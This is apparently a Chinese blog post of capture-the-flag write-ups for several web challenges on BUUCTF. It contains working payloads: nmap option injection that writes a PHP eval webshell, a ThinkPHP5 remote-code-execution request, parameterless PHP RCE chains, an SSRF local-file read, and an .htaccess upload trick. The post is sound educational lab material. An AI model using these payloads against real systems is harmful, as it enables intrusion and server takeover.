[网鼎杯 2020 青龙组]AreUSerialz
题解在这篇文章里面
不过地址改了,在这题里面地址比较正常/var/www/html/flag.php
[RoarCTF 2019]Easy Java
说到Java我们就想到JNDI注入和Java反序列化,不过还是看看题目是怎么一回事
首先我们可以看到一个登录框和一个help,点击help发现地址栏是这样的
于是我们似乎找到了一个打开文件的办法,但是读取/etc/passwd也是没办法读取的。猜测也许是Windows服务器
登录一下显示Wrong Password,注入一波没成功,猜测使用了Mybatis结构化了数据,所以应该没有合适的办法注入
然后没想法了,查wp去
然后看到WP说换请求方式是自然的想法……感觉不太自然,总之是换了就能下载
然后按照题解所说,WEB-INF泄露
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
有个FlagController,试试下载下,地址是WEB-INF/classes/com/wm/ctf/FlagController.class
下载完丢到Java逆向网站,反编译得到base64的flag
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(
name = "FlagController"
)
public class FlagController extends HttpServlet {
String flag = "ZmxhZ3s1MTc3OWU3Yy05MDIzLTQ1ZDYtODljMS01NzkyYWQzYTBkMGV9Cg==";
protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
PrintWriter var3 = var2.getWriter();
var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}
[BUUCTF 2018]Online Tool
nmap扫描,字符串拼接
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>
一般有两个思路:写文件绕过chdir(以前做过一道zip解压可以软链接读取文件),或者利用nmap拼接一些参数写个shell下来。
开头的沙箱地址相当于我们可以自定义,但是是md5后的。应该不是关键点。
用了两个函数escapeshellarg和escapeshellcmd,查一下得到了一篇文章。
Payload:
http://8b006b61-c747-4b9c-8b42-2d87f2f53115.node3.buuoj.cn/?host=%27%20%3C?php%20@eval($_POST[cmd])?%3E%20-oG%20www2.php%20%27
?host=' <?php @eval($_POST[cmd])?> -oG www2.php '
解释一下,第一步会使用escapeshellarg实现第一次转换:
' <?php @eval($_POST[cmd])?> -oG www2.php '
=>
'''' <?php @eval($_POST[cmd])?> -oG www2.php ''''
观察可以发现,是先把所有的单引号转义,然后把单引号切分成的段各自用单引号包围
'''' <?php @eval($_POST[cmd])?> -oG www2.php ''''
=>
''\'' <?php @eval($_POST[cmd])?> -oG www2.php '\'''
把斜杠,问号等等转义,此时可以发现原来的转义符被转义了
那么,拼凑出来的实际使用起来就是下面这样
''\'' <?php @eval($_POST[cmd])?> -oG www2.php '\'''
=>
<?php @eval($_POST[cmd])?> -oG www2.php \
转存到txt中,观察一下结果
# Nmap 7.70 scan initiated Wed Sep 23 12:00:03 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG www2.txt <?php @eval($_POST[cmd])?> \
# Nmap done at Wed Sep 23 12:00:23 2020 -- 0 IP addresses (0 hosts up) scanned in 20.08 seconds
符合预期
[GYCTF2020]Blacklist
和这篇文章中的[强网杯 2019]随便注是一样的。
[BJDCTF 2nd]old-hack
ThinkPHP5框架,如果没有改的话有通用Payload
试一把,其中一个Payload是没问题的
[URL]
http://b1bc74e4-bd1f-4e00-ab6f-d1074fa54186.node3.buuoj.cn/index.php?s=captcha
[POST]
_method=__construct&filter[]=system&method=get&get[]=cat /flag
[GKCTF2020]cve版签到
给了Hint是CVE-2020-7066,直接百度
原来是%00截断,直接截断后根据提示得到flag
注:127...*都会被当成127.0.0.1处理
Payload
http://8fc0e92c-607b-4528-a3dd-8b426f9916c6.node3.buuoj.cn/?url=http://127.0.0.123%00.ctfhub.com
[GXYCTF2019]禁止套娃
貌似没提示,估计只能扫描器上了
扫了一下发现有.git文件夹,用现成利用工具
不过貌似三套工具只有一套好用
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
不会了,查wp去
我觉得这篇博客写的很好,给了两种无参数RCE的方式
第一种:利用随机的方式来读取
http://a6ac5cf6-faa7-47fc-a2c9-19bdbb2fbc2e.node3.buuoj.cn/?exp=print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));
current:取出数组第一项
localeconv:获取当前环境的基础变量,第一项是'.'
array_flip:反转数组的键和值
array_rand:随机返回数组的一个键
array_reverse:反转数组后返回
readfile:读取文件
第二种:PHP Session
这种方法稳定性更强。
指定Cookie内的PHPSESSID,可以在session_start后使用session_id来获得任意字符串。
读取文件:有show_source、readfile、highlight_file
获取字符串后读取即可。
[De1CTF 2019]SSRF Me
给了源码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False #generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
首先我们看到在Exec函数中,使用了in来做判断,所以我们可以在action中同时包含read和scan来完成既搜索又读取的任务。有了这个条件,我们就可以直接操作了。
注意到/geneSign路由内用了getSign函数,这个函数使用了字符串连接来计算,所以我们可以让geneSign的时候param最后包含一个read,其效果相当于action中有read和scan。
同时,urlopen可以直接打开本地文件。
综合起来,我们可以进行以下操作:
第一步:
计算签名
第二步:
签名和参数写入cookie
第三步:
拿flag
[MRCTF2020]你传你马呢
传.htaccess增加jpg解析为php,上传php木马取名为xxx.jpg,之后直接连接拿shell。
[MRCTF2020]Ez_bypass
似乎给了源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
老套路,同这篇文章中的[BJDCTF2020]Easy MD5。
Comments NOTHING